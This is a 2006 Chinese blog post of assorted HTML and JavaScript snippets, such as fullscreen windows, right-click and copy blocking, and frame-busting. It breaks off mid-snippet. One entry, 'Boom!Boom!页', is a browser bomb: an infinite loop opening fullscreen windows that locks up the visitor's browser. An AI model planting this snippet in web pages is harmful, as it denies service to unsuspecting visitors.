常用代码2

作者在 2006-06-18 04:57:00 发布以下内容
----特效字------------------------------------------------------
<span style="COLOR: #000088; FILTER: glow(color=white,strength=1) shadow(color=dddddd,direction=130); LINE-HEIGHT: 23pt; POSITION: relative; WIDTH: 100%"> *** </span>

----清空INPUT且选定---------------------------------------------
onClick="Javascript:this.value=''" onFocus="this.select()" onMouseOver="this.focus()"

----全屏显示页面--------------------------------------------
<script language="javascript">
history.back();
chatroom=window.open("chat.asp","chatroom","toolbar=no,status=no,resizable=yes")
chatroom.moveTo(0,0);
chatroom.resizeTo(screen.availWidth,screen.availHeight);
chatroom.outerWidth=screen.availWidth;
chatroom.outerHeight=screen.availHeight;
</script>

------定时关闭窗口------------------------------------------
<script language="JavaScript">
var tid=null;tid=setTimeout('window.close()',300000);
</script>

------右键屏蔽----------------------------------------------
<body oncontextmenu=self.event.returnValue=false>
------Boom!Boom!页------------------------------------------
<script language="JavaScript">while (true){ window.open("bomb.htm","","fullscreen=yes,Status=no,scrollbars=no,resizable=no");}</script>

---------图片重新设置按钮---------------------------------------
<script language="jscript">
function myreset()
{ document.login.reset();
document.login.focus();}
</script>
<img src="image/reclear.gif" width="69" height="20" style="cursor:hand" onfocus="this.blur()" onclick="myreset()"

1.将彻底屏蔽鼠标右键
oncontextmenu="window.event.returnValue=false"
<table border oncontextmenu=return(false)><td>no</table>

2. 取消选取、防止复制<body onselectstart="return false">

3. 不准粘贴 onpaste="return false"

4. 防止复制 oncopy="return false;" oncut="return false;"

5.IE地址栏前换成自己的图标 <link rel="Shortcut Icon" href="favicon.ico">

6. 可以在收藏夹中显示出你的图标 <link rel="Bookmark" href="favicon.ico">

7. 关闭输入法 <input style="ime-mode:disabled">

8. 永远都会带着框架

<script language="JavaScript"><!--

if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页

// --></script>

9. 防止被人frame

<SCRIPT LANGUAGE=JAVASCRIPT><!--

if (top.location != self.location)top.location=self.location;

// --></SCRIPT>

10. 网页将不能被另存为 <noscript><iframe src=*.html></iframe></noscript>

11. <input type=button value=查看网页源代码

onclick="window.location = 'view-source:'+ 'http://www.csdn.net/'";>

12. 怎样通过asp的手段来检查来访者是否用了代理

<% if Request.ServerVari

宝贝资料 | 阅读 1432 次
文章评论,共0条
游客请输入验证码